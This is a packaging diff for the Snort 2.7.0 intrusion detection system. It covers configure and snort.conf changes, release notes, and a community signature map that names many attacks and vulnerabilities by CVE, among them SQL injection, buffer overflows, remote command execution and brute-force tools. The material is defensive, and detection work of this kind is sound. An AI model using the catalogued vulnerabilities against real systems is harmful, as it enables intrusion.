 Set the packet snaplen to 
 .I snap-length
-.  By default, this is set to 1514.
+\&.  By default, this is set to 1514.
 .IP "-q"
 Quiet operation.  Don't display banner and initialization information.
 .IP "-Q"
@@ -327,7 +327,7 @@
 Enumerate the network interfaces available.
 .IP -X
 Dump the raw packet data starting at the link layer.  This switch overrides the
-'-d' switch.
+\&'-d' switch.
 .IP -y
 Include the year in alert and log files
 .IP "-Z pathname"
--- snort-2.7.0.orig/configure
+++ snort-2.7.0/configure
@@ -24744,8 +24744,8 @@
          else
             libnet_dir="/usr/include /usr/local/include /sw/include"
         fi
-        echo "$as_me:$LINENO: checking \"for libnet.h version 1.0.x\"" >&5
-echo $ECHO_N "checking \"for libnet.h version 1.0.x\"... $ECHO_C" >&6
+        echo "$as_me:$LINENO: checking \"for libnet.h version 1.1.x\"" >&5
+echo $ECHO_N "checking \"for libnet.h version 1.1.x\"... $ECHO_C" >&6
         for i in $libnet_dir; do
             if test -r $i/libnet.h; then
                 LIBNET_INC_DIR=$i
@@ -24753,12 +24753,12 @@
         done
 
         if test "$LIBNET_INC_DIR" != ""; then
-            if eval "grep LIBNET_VERSION $LIBNET_INC_DIR/libnet.h | grep -v 1.0 >/dev/null"; then
+            if eval "grep LIBNET_VERSION $LIBNET_INC_DIR/libnet.h | grep -v 1.1 >/dev/null"; then
 
    echo
    echo
    echo "**********************************************"
-   echo "  ERROR: unable to find" "libnet 1.0.x (libnet.h)"
+   echo "  ERROR: unable to find" "libnet 1.1.x (libnet.h)"
    echo "  checked in the following places"
    for i in `echo $LIBNET_INC_DIR`; do
      echo "        $i"
@@ -24776,8 +24776,8 @@
         else
             echo "$as_me:$LINENO: result: no" >&5
 echo "${ECHO_T}no" >&6
-            { { echo "$as_me:$LINENO: error: \"libnet 1.0.x could not be found.  please download and install the library from http://www.packetfactory.net/libnet/\"" >&5
-echo "$as_me: error: \"libnet 1.0.x could not be found.  please download and install the library from http://www.packetfactory.net/libnet/\"" >&2;}
+            { { echo "$as_me:$LINENO: error: \"libnet 1.1.x could not be found.  please download and install the library from http://www.packetfactory.net/libnet/\"" >&5
+echo "$as_me: error: \"libnet 1.1.x could not be found.  please download and install the library from http://www.packetfactory.net/libnet/\"" >&2;}
    { (exit 1); exit 1; }; }
         fi
     fi
--- snort-2.7.0.orig/RELEASE.NOTES.2.3
+++ snort-2.7.0/RELEASE.NOTES.2.3
@@ -0,0 +1,133 @@
+2005-04-22 - Snort 2.3.3 Released
+
+* Fixed sfPortscan Open Ports not getting suppressed.
+
+* Added new mini-preprocessor to catch the X-Link2State vulnerability.
+  See Snort manual for details.
+
+2005-03-10 - Snort 2.3.2 Released
+
+* Removed end-of-line parser fix in favor of completely reworking
+  this at the next parser overhaul.
+
+2005-03-09 - Snort 2.3.1 Released
+
+* Fixed issue where the number of flowbits were too small. Thanks Marc
+  Norton for the fix.
+
+* Fixed parsing of comments at end of line in config file.  In
+  snort.conf, anything that follows a # on a line is considered a
+  comment. Thanks Steve Sturges for the fix.
+
+* Fixed alignment issue causing sfPortscan to crash on Solaris/HPUX.
+  Thanks Andy Mullican for the fix. Thanks Senthil Prabu.S and
+  Jonathan Miner for working with us on this.
+
+2005-01-25 - Snort 2.3.0 Final Released
+
+* Fixed issue with sfPortscan reporting incorrect IP datagram length.
+  Thanks Jon Hart for the test case and finding the bug, and Marc Norton
+  for resolving the issue.
+
+* Threshold/Suppression now prints properly when logging to syslog.
+  Thanks Sekure for pointing out the problem. Thanks Steve Sturges for
+  working on the fix.
+
+* Threshold memcap argument now correctly handles non-integer input.
+  Thanks nnposter for the patch.
+
+* Fixed issue reported by Allan Jensen, where on MacOS X, ppp links were
+  not decoded properly. Thanks Dan Roelker for the fix.
+
+* Snort manual and FAQ are updated for 2.3. Thanks Jen Harvey for your
+  work on putting it all together. 
+
+2004-12-15 - Snort 2.3.0 RC2 Released
+
+* Small performance improvement to arpspoof and also fixed a problem
+  where the list of configured IP/MAC entries would contain only one
+  entry and leaked memory (Jeff Nathan).
+
+* Fixed a problem affecting MacOS X where linking may fail with
+  non-standard libraries when global symbols are encountered multiple
+  times (Jeff Nathan).
+
+* Ignore RST|ACK midstream pickup case so we don't get an evasive TCP
+  alerts.  Thanks for the report, Sekure. Thanks Dan Roelker for the fix.
+
+* Moved CheckLogDir() to after parsing snort.conf (for IDS mode) so the 
+  logdir config will work if the default or command-line logdir does not
+  exist on the system. Thanks Dan Roelker.
+
+* Fixed bug when setting the doe_ptr on a successful pcre match.
+  It is now set relative to base_ptr. Thanks Steve Sturges for the
+  fix.
+
+* Added from_beginning and multiplier options for byte_jump.
+  from_beginning skips bytes from the beginning of the content,
+  instead of from the location immediately following the number
+  of bytes to skip.  multiplier takes a numeric argument, and
+  skips x times that number of bytes. Thanks again to Steve Sturges.
+
+* In "fast" output, now log only actual packet contents when UDP
+  data length is greater than actual data length. Thanks Brian
+  Caswell for spotting this, and Andrew Mullican for working on the fix.
+
+* Please check the ChangeLog for further details.  
+
+2004-11-18 - Snort 2.3.0 RC1 Released
+
+* Added IPS functionality from Snort-Inline.  A big thanks to the
+  Snort-Inline guys (Jed Haile, Rob McMillen, William Metcalf, and Victor
+  Julien).  Also, Thanks Dan Roelker for doing the integrating of
+  Snort-Inline into the official Snort project.  
+
+* Added new portscan detector.  The design and implementation was headed
+  up by Dan Roelker, and included Marc Norton and Jeremy Hewlett.  
+
+* Numerous changes for better 64bit Snort support from Jeremy Hewlett and
+  Marc Norton.  Additionally, an --enable-64bit-gcc option was added to
+  configure.  However, there are still some memory alignment issues to
+  work out before 64bit mode is fully functional, patches are welcomed.
+  Thanks Chris Baker for doing 64bit testing.  
+
+* Added not_established keyword to the flow detection option.  This allows
+  snort to do dynamic firewall rulesets.  Experimental for now.  
+
+* Added an enforce_state keyword to stream4 so we won't pick up midstream
+  sessions.  This works well for asynchronous links and also for
+  just monitoring legitimate traffic.  
+
+* Relocated ./contrib files to http://www.snort.org/dl/contrib as many
+  are not maintained by Sourcefire and are out of date. The rpm and
+  schema files have been relocated in their respective 'rpm' and 'schemas'
+  directories under the snort parent directory.
+
+* perfmonitor config line can now be configured with "accumulate" or
+  "reset."  Thanks Marc Norton for the feature, and Barry Basselgia for
+  pointing out the issue.  Thanks Scott Dexter and Andreas Ostling for
+  doing some initial testing.  
+
+* Fixed 64-bit bug in sfmemcap.c found and tested by Ryan Matteson
+  and Clay McClure.  Thanks guys.  
+
+* Fixed reference times to match log time for first packet, for an event
+  generated by a reassembled packet.  Incremented event ID to give
+  unique ID for each packet.  Also made unified logging compatible with
+  Windows.  Thanks Andrew Mullican for the fix.  
+
+* Fixed linux perfmonitoring stats for the 2.6 kernel.  Thanks to
+  everyone that reported this bug.  Thanks Dan Roelker for the fix.  
+
+* Get thresholding/suppression to work for alerts that do not
+  contain an ip header (primarily decode alerts).  Thanks
+  Brian Caswell.  
+
+* Fix conditions where snort would log double web alerts that
+  contained only content options (no uricontents).  Thanks to kawa for
+  finding and reporting this bug.  
+
+* Fix suppression/thresholding bug for non-rule alerts.  Thanks to
+  Alex Butcher for reporting it to us.  
+
+* Many other bug fixes, please check the ChangeLog for details.  
--- snort-2.7.0.orig/RELEASE.NOTES.2.4
+++ snort-2.7.0/RELEASE.NOTES.2.4
@@ -0,0 +1,138 @@
+2006-06-05 - Snort 2.4.5 Released
+    * Fixed potential evasion in URI content buffers
+    * Fixed potential evasion in Stream4
+
+2006-03-08 - Snort 2.4.4 Released
+[*] Improvements
+    * Fixed ip options handling in Frag3.
+    * Fixed bug in Wu-Manbher implementation regarding multiple
+      recurring patterns.
+    * Fixed a config file parsing bug which required DNS resolution
+      in certain circumstances.
+    * Updated perfmonitor to properly handle wraps on 64 bit platforms.
+    * Fixed crash in portscan related to bogus data in sfxhash.
+    * Fixed memory leak in Frag3.
+    * Allow use of 0 as a value to -G.
+
+2005-10-17 - Snort 2.4.3 Released
+[*] Improvements
+    * Fixed possible buffer overflow in  back orifice preprocessor.
+    * Added snort.conf options to bo preprocessor for finer control of 
+      alerting and dropping of bo traffic.
+    * Added alert to detect the bo buffer overflow attack against snort.
+
+2005-09-28 - Snort 2.4.2 Released
+[*] Improvements
+    * Fixed crash bug with -T and default logging setup first reported by 
+      Zultan.
+    * Corrected Win32 directory setup for new WinPCAP.
+
+2005-09-16 - Snort 2.4.1 Released
+[*] New additions
+    * Added a -K command line option to manually select the logging mode using
+      a single switch.  The -b and -N switches will be deprecated in version 
+      2.7.  Pcap logging is now the default for Snort at startup, use "-K ascii"
+      to revert to old behavior.
+
+[*] Improvements
+    * Win32 version now supports winpcap 3.1 and MySQL client 4.13.
+    * Added event on zero-length RPC fragments.
+    * Fixed TCP SACK processing for text based outputs that could result in a 
+      DoS.
+    * General improvements to frag3 including Teardrop detection fix.
+    * Fixed a bug in the PPPoE decoder.
+    * Added patch for time stats from Bill Parker.  Enable with configure 
+      --enable-timestats.
+    * Fixed IDS mode bailing at startup if logdir is specified in snort.conf
+      and /var/log/snort doesn't exist.
+    * Added decoder for IPEnc for OpenBSD.  Thanks Jason Ish for the patch 
+      (long time ago) and Chris Kuethe for reraising the issue.
+    * Allow snort to use usernames (-u) and groupnames (-g) that include 
+      numbers.  Thanks to Shaick for the patch.
+    * Fixed broken -T option.
+    * Change ip_proto to ip for portscan configuration.  Thanks David Bianco
+      for pointing this out.
+    * Fix for prelude initialization.  Thanks Yoann Vandoorselaere for the
+      update.
+    * For content matches, when subsequent rule options fail, start searching
+      again in correct location.
+    * Updated Win32 to handle pflog patch.
+    * Added support for new OpenBSD pflog format.  Older pflog format,
+      OpenBSD 3.3 and earlier is still supported.  Thanks Breno Leitao
+      and Christian Reis for the patch.
+    * Added statistics counter for ETH_LOOPBACK packets.  Thanks rmkml
+      for the patch.
+
+2005-07-22 - Snort 2.4.0 Released
+
+[*] Distribution Change
+    * Rules are no longer distributed as part of the Snort releases, they are
+      available as a separate download from snort.org.  This was done for 
+      three reasons: 
+        1) To better manage the new rules licensing.
+        2) To reduce the size of the engine download.
+        3) To move the thousands of documentation files for the rules into
+           the rules tarballs.  If you've ever checked Snort out of CVS you'll
+           know why this is a Good Thing.
+
+[*] New additions
+    * Added new IP defragmentation preprocessor, Frag3. The frag3 preprocessor 
+      is a target-based IP defragmentation module, and is intended as a 
+      replacement for the frag2 module.  Check out the README.frag3 for full
+      info on this new preprocessor.
+
+    * Libprelude support has been added (enable with --enable-prelude).
+      Thanks Yoann Vandoorselaere!
+
+    * An "ftpbounce" rule detection plugin was added for easier detection of
+      FTP bounce attacks.
+
+    * Added a new Snort config option, "ignore_ports," to ignore packets
+      based on port number.  This is similar to bpf filters, but done within
+      snort.conf.
+
+[*] Improvements
+    * Snort startup messages printed in syslog now contain a PID before each
+      entry. Thanks Sekure for initially bringing this up.
+
+    * Stream4: Performance improvements.
+    
+    * Stream4: Added 'max_session_limit' option which limits number of 
+      concurrent sessions tracked.  Added favor_old/favor_new options that 
+      affect order in which packets are put together for reassembly.  
+
+    * Stream4: New configuration options to manage flushpoints for improved
+      anti-evasion.  The flush_behavior option selects flushpoint management 
+      mode.  New flush_base, flush_range, and flush_seed manage randomized 
+      flushing.  Check out the snort.conf file for full config data on the 
+      new flush options. 
+
+    * Added two more alerts for BackOrifice client and server packets. This
+      allows specific alerts to be suppressed.
+
+    * PerfMon preprocessor updated to include more detailed stats for rebuilt
+      packets (applayer, wire, fragmented & TCP). Also added 'atexitonly'
+      option that dumps stats at exit of snort, and command line -Z flag to
+      specify the file to which stats are logged.
+
+    * Added new Http Inspect config item, "tab_uri_delimiter," which if
+      specified, lets a tab character (0x09) act as the delimiter for a URI.
+
+    * Added a '-G' command line flag to snort that specifies the Snort
+      instance log identifier. It takes a single argument that can be either
+      hex (prefaced with 0x) or decimal. The unified log files will include
+      the instance ID when the -G flag is used.
+
+    * "Same SRC/DST" (sid 527) and "Loopback Traffic" (sid 528) are now
+      handled in the IP decoder. Those sids are now considered obsolete.
+
+    * Http_Inspect "flow_depth" option now accepts a -1 value which tells
+      Snort to ignore all server-side traffic.
+
+    * RPMs have been updated to be more portable, and also now include a
+      "--with inline" option for those wanting to build Inline RPMs. Thanks
+      Daniel Wittenberg and JP Vossen for your help!
+
+    * Many, many bug fixes have also gone into this release, please see the
+      ChangeLog for details.
+
--- snort-2.7.0.orig/etc/snort.conf
+++ snort-2.7.0/etc/snort.conf
@@ -47,6 +47,7 @@
 
 # Set up the external network addresses as well.  A good start may be "any"
 var EXTERNAL_NET any
+#var EXTERNAL_NET !$HOME_NET
 
 # Configure your server lists.  This allows snort to only look for attacks to
 # systems that have a service up.  Why look for HTTP attacks if you are not
@@ -111,7 +112,7 @@
 # Path to your rules files (this can be a relative path)
 # Note for Windows users:  You are advised to make this an absolute path,
 # such as:  c:\snort\rules
-var RULE_PATH ../rules
+var RULE_PATH /etc/snort/rules
 
 # Configure the snort decoder
 # ============================
@@ -194,27 +195,27 @@
 # Load all dynamic preprocessors from the install path
 # (same as command line option --dynamic-preprocessor-lib-dir)
 #
-dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor/
+dynamicpreprocessor directory /usr/lib/snort_dynamicpreprocessor/
 #
 # Load a specific dynamic preprocessor library from the install path
 # (same as command line option --dynamic-preprocessor-lib)
 #
-# dynamicpreprocessor file /usr/local/lib/snort_dynamicpreprocessor/libdynamicexample.so
+# dynamicpreprocessor file /usr/lib/snort_dynamicpreprocessor/libdynamicexample.so
 #
 # Load a dynamic engine from the install path
 # (same as command line option --dynamic-engine-lib)
 #
-dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so
+dynamicengine /usr/lib/snort_dynamicengine/libsf_engine.so
 #
 # Load all dynamic rules libraries from the install path
 # (same as command line option --dynamic-detection-lib-dir)
 #
-# dynamicdetection directory /usr/local/lib/snort_dynamicrule/
+# dynamicdetection directory /usr/lib/snort_dynamicrule/
 #
 # Load a specific dynamic rule library from the install path
 # (same as command line option --dynamic-detection-lib)
 #
-# dynamicdetection file /usr/local/lib/snort_dynamicrule/libdynamicexamplerule.so
+# dynamicdetection file /usr/lib/snort_dynamicrule/libdynamicexamplerule.so
 #
 
 ###################################################
@@ -372,7 +373,7 @@
 #   13      Stealth scan: SYN-FIN scan
 #   14      TCP forward overlap
 
-#preprocessor stream4: disable_evasion_alerts
+#preprocessor stream4: disable_evasion_alerts detect_scans
 
 # tcp stream reassembly directive
 # no arguments loads the default configuration 
@@ -786,7 +787,7 @@
 # -------------------------------------------------
 # The only argument is the output file name.
 #
-# output log_tcpdump: tcpdump.log
+output log_tcpdump: tcpdump.log
 
 # database: log to a variety of databases
 # ---------------------------------------
@@ -798,6 +799,17 @@
 # output database: log, odbc, user=snort dbname=snort
 # output database: log, mssql, dbname=snort user=snort password=test
 # output database: log, oracle, dbname=snort user=snort password=test
+# <debian>
+# Keep your paws off of these (#DBSTART#) and (#DBEND#) tokens
+# or you *will* break the configure process (snort-pgsql/snort-mysql only)
+# Anything you put between them will be removed on (re)configure.
+#
+# (#DBSTART#)
+# (#DBEND#)
+#
+# </debian>
+#
+
 
 # unified: Snort unified binary format alerting and logging
 # -------------------------------------------------------------
@@ -918,6 +930,7 @@
 include $RULE_PATH/local.rules
 include $RULE_PATH/bad-traffic.rules
 include $RULE_PATH/exploit.rules
+include $RULE_PATH/community-exploit.rules
 include $RULE_PATH/scan.rules
 include $RULE_PATH/finger.rules
 include $RULE_PATH/ftp.rules
@@ -925,10 +938,12 @@
 include $RULE_PATH/rpc.rules
 include $RULE_PATH/rservices.rules
 include $RULE_PATH/dos.rules
+include $RULE_PATH/community-dos.rules
 include $RULE_PATH/ddos.rules
 include $RULE_PATH/dns.rules
 include $RULE_PATH/tftp.rules
 
+# Specific web server rules:
 include $RULE_PATH/web-cgi.rules
 include $RULE_PATH/web-coldfusion.rules
 include $RULE_PATH/web-iis.rules
@@ -936,7 +951,14 @@
 include $RULE_PATH/web-misc.rules
 include $RULE_PATH/web-client.rules
 include $RULE_PATH/web-php.rules
+include $RULE_PATH/community-sql-injection.rules
+include $RULE_PATH/community-web-client.rules
+include $RULE_PATH/community-web-dos.rules
+include $RULE_PATH/community-web-iis.rules
+include $RULE_PATH/community-web-misc.rules
+include $RULE_PATH/community-web-php.rules
 
+# Rules for other services:
 include $RULE_PATH/sql.rules
 include $RULE_PATH/x11.rules
 include $RULE_PATH/icmp.rules
@@ -944,29 +966,50 @@
 include $RULE_PATH/misc.rules
 include $RULE_PATH/attack-responses.rules
 include $RULE_PATH/oracle.rules
+include $RULE_PATH/community-oracle.rules
 include $RULE_PATH/mysql.rules
 include $RULE_PATH/snmp.rules
-
+include $RULE_PATH/community-ftp.rules
 include $RULE_PATH/smtp.rules
+include $RULE_PATH/community-smtp.rules
 include $RULE_PATH/imap.rules
+include $RULE_PATH/community-imap.rules
 include $RULE_PATH/pop2.rules
 include $RULE_PATH/pop3.rules
 
 include $RULE_PATH/nntp.rules
+include $RULE_PATH/community-nntp.rules
+include $RULE_PATH/community-sip.rules
 include $RULE_PATH/other-ids.rules
-# include $RULE_PATH/web-attacks.rules
-# include $RULE_PATH/backdoor.rules
+
+# Attack-in-progress rules:
+include $RULE_PATH/web-attacks.rules
+include $RULE_PATH/backdoor.rules
+include $RULE_PATH/community-bot.rules
+include $RULE_PATH/community-virus.rules
+# This ruleset is almost useless currently:
+# include $RULE_PATH/virus.rules
+# Note: this rule is extremely chatty, enable with care
 # include $RULE_PATH/shellcode.rules
+
+# Policy related rules:
 # include $RULE_PATH/policy.rules
+# include $RULE_PATH/community-policy.rules
 # include $RULE_PATH/porn.rules
-# include $RULE_PATH/info.rules
-# include $RULE_PATH/icmp-info.rules
-# include $RULE_PATH/virus.rules
+# include $RULE_PATH/community-inappropriate.rules
 # include $RULE_PATH/chat.rules
 # include $RULE_PATH/multimedia.rules
 # include $RULE_PATH/p2p.rules
-# include $RULE_PATH/spyware-put.rules
-# include $RULE_PATH/specific-threats.rules
+# include $RULE_PATH/community-game.rules
+# include $RULE_PATH/community-misc.rules
+
+# Extremely chatty rules:
+# include $RULE_PATH/info.rules
+# include $RULE_PATH/icmp-info.rules
+# include $RULE_PATH/community-icmp.rules
+
+# Experimental rules: 
+# NOTICE: this is currently empty
 include $RULE_PATH/experimental.rules
 
 # Include any thresholding or suppression commands. See threshold.conf in the
@@ -975,4 +1018,4 @@
 # Note for Windows users:  You are advised to make this an absolute path,
 # such as:  c:\snort\etc\threshold.conf
 # Uncomment if needed.
-# include threshold.conf
+include threshold.conf
--- snort-2.7.0.orig/etc/community-sid-msg.map
+++ snort-2.7.0/etc/community-sid-msg.map
@@ -0,0 +1,837 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# This file is licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details.
+# Id SID -> MSG map
+
+100000100 || COMMUNITY EXPLOIT Windows Acrobat Reader Activex Overflow Flowbit || cve,2004-0629 || bugtraq,10947
+100000101 || COMMUNITY EXPLOIT Windows Acrobat Reader Activex Overflow Exploit || cve,2004-0629 || bugtraq,10947
+100000102 || COMMUNITY GAME Halocon Denial of Service Empty UDP Packet || bugtraq,12281
+100000103 || COMMUNITY GAME Breed Game Server Denial of Service Empty UDP Packet || bugtraq,12262
+100000104 || COMMUNITY GAME Amp II 3D Game Server Denial of Service Empty UDP Packet || bugtraq,12192
+100000105 || COMMUNITY INAPPROPRIATE lolita sex
+100000106 || COMMUNITY SQL-INJECTION Microsoft BizTalk Server 2002 rawdocdata.asp || bugtraq,7470 || cve,2003-0118 || url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx
+100000107 || COMMUNITY SQL-INJECTION Microsoft BizTalk Server 2002 RawCustomSearchField.asp || bugtraq,7470 || cve,2003-0118 || url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx
+100000108 || COMMUNITY SQL-INJECTION OpenBB board.php || bugtraq,7404
+100000109 || COMMUNITY SQL-INJECTION OpenBB member.php || bugtraq,7404
+100000110 || COMMUNITY VIRUS Dabber PORT overflow attempt port 5554 || MCAFEE,125300
+100000111 || COMMUNITY VIRUS Dabber PORT overflow attempt port 1023 || MCAFEE,125300
+100000112 || COMMUNITY WEB-CGI Readfile.tcl Access || bugtraq,7426
+100000113 || COMMUNITY WEB-CGI HappyMall Command Execution member_html.cgi || bugtraq,7530 || cve,2003-0243
+100000114 || COMMUNITY WEB-CGI HappyMall Command Execution normal_html.cgi || bugtraq,7530 || cve,2003-0243
+100000115 || COMMUNITY WEB-CGI PHP-Nuke Web_Links Path Disclosure Null CID || bugtraq,7589
+100000116 || COMMUNITY WEB-CGI PHP-Nuke Web_Links Path Disclosure Non-Numeric CID || bugtraq,7589
+100000117 || COMMUNITY WEB-CGI VBulliten Remote Command Execution Attempt || bugtraq,12542
+100000118 || COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Type Overflow Attempt || bugtraq,7419 || cve,2003-0113 || url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx
+100000119 || COMMUNITY WEB-CLIENT Internet Explorer URLMON.DLL Content-Encoding Overflow Attempt || bugtraq,7419 || cve,2003-0113 || url,www.microsoft.com/technet/security/bulletin/MS03-015.mspx
+100000121 || COMMUNITY WEB-MISC Test Script Access
+100000122 || COMMUNITY WEB-MISC mod_jrun overflow attempt || bugtraq,11245 || cve,2004-0646
+100000123 || COMMUNITY INAPPROPRIATE preteen sex
+100000124 || COMMUNITY INAPPROPRIATE girls gone wild
+100000125 || COMMUNITY MISC Sentinel License Manager overflow attempt || cve,CAN-2005-0353 || bugtraq,12742
+100000126 || COMMUNITY MISC GoodTech Telnet Server Buffer Overflow Attempt || cve,2005-0768 || url,unsecure.altervista.org/security/goodtechtelnet.htm
+100000127 || COMMUNITY WEB-CGI Stadtaus.com PHP Form Mail Remote Script Include Attack formmail.inc.php || bugtraq,12735
+100000128 || COMMUNITY WEB-CGI Stadtaus.com PHP Form Mail Remote Script Include Attack download_center_lite.inc.php || bugtraq,12735
+100000129 || COMMUNITY WEB-MISC Cisco IOS HTTP Router Management Service Infinite Loop DoS || bugtraq,10014 || url,www.cisco.com/warp/public/707/ioshttpserverquery-pub.shtml
+100000130 || COMMUNITY WEB-MISC PY Software Active Webcam Webserver DoS || bugtraq,12778
+100000131 || COMMUNITY WEB-MISC PY Software Active Webcam Webserver DoS - Floppy Access || bugtraq,12778
+100000132 || COMMUNITY WEB-MISC Proxy Server Access
+100000133 || COMMUNITY WEB-DoS Xeneo Server Question Mark GET Request || bugtraq,7398 || url,www.northernsolutions.com/support/index.php?view=support&cmd=releasenotes&productid=1
+100000134 || COMMUNITY DOS Tcpdump rsvp attack || cve,2005-1280 || cve,2005-1281 || bugtraq,13391
+100000135 || COMMUNITY IMAP GNU Mailutils request tag format string vulnerability || cve,CAN-2005-1523 || bugtraq,13764
+100000136 || COMMUNITY IMAP GNU imapd search format string attempt || url,www.osvdb.org/displayvuln.php?osvdb_id=19306 || cve,2005-2878
+100000137 || COMMUNITY MISC BAD-SSL tcp detect
+100000138 || COMMUNITY WEB-IIS Remote IIS Server Name spoof attempt localhost || cve,2005-2678
+100000139 || COMMUNITY WEB-IIS Remote IIS Server Name spoof attempt loopback IP || cve,2005-2678
+100000140 || COMMUNITY WEB-MISC MaxDB Web Tool Remote Stack Overflow || cve,2005-0684 || url,www.idefense.com/application/poi/display?id=234&type=vulnerabilities
+100000141 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .jsp directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000142 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .jpg directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000143 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .gif directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000144 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .wav directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000145 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .css directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000146 || COMMUNITY WEB-MISC Ipswitch Imail web calendaring .htm directory traversal attempt || bugtraq,13727 || cve,CAN-2005-1252
+100000148 || COMMUNITY WEB-MISC Barracuda img.pl attempt || bugtraq,14712 || bugtraq,14710 || cve,2005-2848
+100000149 || COMMUNITY WEB-MISC Jboss % attempt || bugtraq,13985 || cve,2005-2006 || url,www.osvdb.org/displayvuln.php?osvdb_id=17403
+100000150 || COMMUNITY WEB-MISC HTTP Transfer-Content Request Smuggling attempt || bugtraq,13873 || bugtraq,14106 || cve,2005-2088 || cve,2005-2089 || cve,2005-2090 || cve,2005-2091 || cve,2005-2092 || cve,2005-2093 || cve,2005-2094 || url,www.osvdb.org/displayvuln.php?osvdb_id=17738 || nessus,18337
+100000151 || COMMUNITY WEB-PHP piranha default passwd attempt || bugtraq,1148 || cve,2000-0248 || nessus,10381
+100000152 || COMMUNITY IMAP MDaemon authentication protocol decode
+100000153 || COMMUNITY IMAP MDaemon authentication multiple packet overflow attempt || bugtraq,14317
+100000154 || COMMUNITY IMAP MDaemon authentication okay protocol decode
+100000155 || COMMUNITY IMAP MDaemon authentication overflow single packet attempt || bugtraq,14317
+100000156 || COMMUNITY WEB-CGI Twiki shell command execution || bugtraq,14834 || cve,2005-2877 || url,twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev
+100000157 || COMMUNITY WEB-CGI ATutor password_reminder.php SQL injection attempt || bugtraq,14831
+100000158 || COMMUNITY SIP INVITE message flooding
+100000159 || COMMUNITY SIP REGISTER message flooding
+100000160 || COMMUNITY SIP TCP/IP message flooding directed to SIP proxy
+100000161 || COMMUNITY SIP DNS No such name treshold - Abnormaly high count of No such name responses
+100000162 || COMMUNITY SIP 401 Unauthorized Flood
+100000163 || COMMUNITY SIP 407 Proxy Authentication Required Flood
+100000164 || COMMUNITY ICMP Linux DoS sctp Exploit || nessus,19777
+100000165 || COMMUNITY EXPLOIT Sentinel LM exploit || bugtraq,12742 || cve,2005-0353 || url,www.osvdb.org/displayvuln.php?osvdb_id=14605 || nessus,17326
+100000166 || COMMUNITY ORACLE TNS Listener shutdown via iSQLPlus attempt || bugtraq,15032 || url,www.red-database-security.com/advisory/oracle_isqlplus_shutdown.html
+100000167 || COMMUNITY SMTP Hydra Activity Detected || url,www.thc.org/releases.php
+100000168 || COMMUNITY WEB-ATTACKS Hydra Activity Detected || url,www.thc.org/releases.php
+100000169 || COMMUNITY WEB-ATTACKS Amap fingerprint attempt || url,www.thc.org/releases.php
+100000170 || COMMUNITY WEB-ATTACKS GFI MailSecurity Management Host Overflow Attempt Long Host Parameter || bugtraq,15081 || url,www.osvdb.org/displayvuln.php?osvdb_id=19926
+100000171 || COMMUNITY WEB-ATTACKS GFI MailSecurity Management Host Overflow Attempt Long Accept Parameter || bugtraq,15081 || url,www.osvdb.org/displayvuln.php?osvdb_id=19926
+100000172 || COMMUNITY NNTP Lynx overflow attempt || cve,2005-3120 || bugtraq,15117 || url,www.osvdb.org/displayvuln.php?osvdb_id=20019 || nessus,20035
+100000173 || COMMUNITY WEB-IIS RSA WebAgent Redirect Overflow attempt
+100000174 || COMMUNITY WEB-IIS RSA WebAgent access || cve,2005-1118 || bugtraq,13168
+100000175 || COMMUNITY DOS Ethereal slimp overflow attempt || cve,2005-3243 || url,www.ethereal.com/docs/release-notes/ethereal-0.10.13.html
+100000176 || COMMUNITY EXPLOIT HPUX LPD overflow attempt || cve,2005-3277 || bugtraq,15136
+100000177 || COMMUNITY WEB-MISC Linksys apply.cgi overflow attempt || bugtraq,14822 || cve,2005-2799 || nessus,20096 || url,www.osvdb.org/displayvuln.php?osvdb_id=19389
+100000178 || COMMUNITY WEB-MISC Hasbani-WindWeb GET DoS attempt || bugtraq,15225 || nessus,20097
+100000179 || COMMUNITY WEB-MISC SMC TRACE access || url,www.kb.cert.org/vuls/id/867593
+100000180 || COMMUNITY EXPLOIT SIP UDP spoof attempt || bugtraq,14174 || cve,2005-2182 || url,www.osvdb.org/displayvuln.php?osvdb_id=17838
+100000181 || COMMUNITY GAME FlatFrag game dos exploit || bugtraq,15287 || cve,2005-3492
+100000182 || COMMUNITY GAME Battle Carry attempt || cve,2005-3493 || bugtraq,15282
+100000183 || COMMUNITY WEB-ATTACKS SAP WAS syscmd access || url,www.cybsec.com/vuln/CYBSEC_Security_Advisory_Multiple_XSS_in_SAP_WAS.pdf
+100000184 || COMMUNITY WEB-MISC JBoss JMXInvokerServlet access || url,online.securityfocus.com/archive/1/415707
+100000185 || COMMUNITY WEB-MISC apache directory list attempt || bugtraq,3009 || cve,2001-0731
+100000186 || COMMUNITY WEB-PHP phpinfo access || bugtraq,5789 || cve,2002-1149 || url,www.osvdb.org/displayvuln.php?osvdb_id=3356
+100000187 || COMMUNITY WEB-PHP XSS attempt
+100000188 || COMMUNITY WEB-PHP Vubb Path attempt || cve,2005-3513 || url,marc.theaimsgroup.com/?l=bugtraq&m=113087965608496&w=2
+100000189 || COMMUNITY MISC streaming RTSP - realplayer || url,www.rtsp.org
+100000190 || COMMUNITY MISC streaming Windows Mediaplayer || url,www.microsoft.com
+100000191 || COMMUNITY SMTP Gnu Mailman utf8 attachement access || bugtraq,15408 || cve,2005-3573 || url,www.osvdb.org/displayvuln.php?osvdb_id=20819
+100000192 || COMMUNITY SQL-INJECTION WIZZ ForumTopicDetails Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20846
+100000193 || COMMUNITY SQL-INJECTION WIZZ ForumAuthDetails Sql Injection attempt || bugtraq,15410 || url,www.osvdb.org/displayvuln.php?osvdb_id=20845
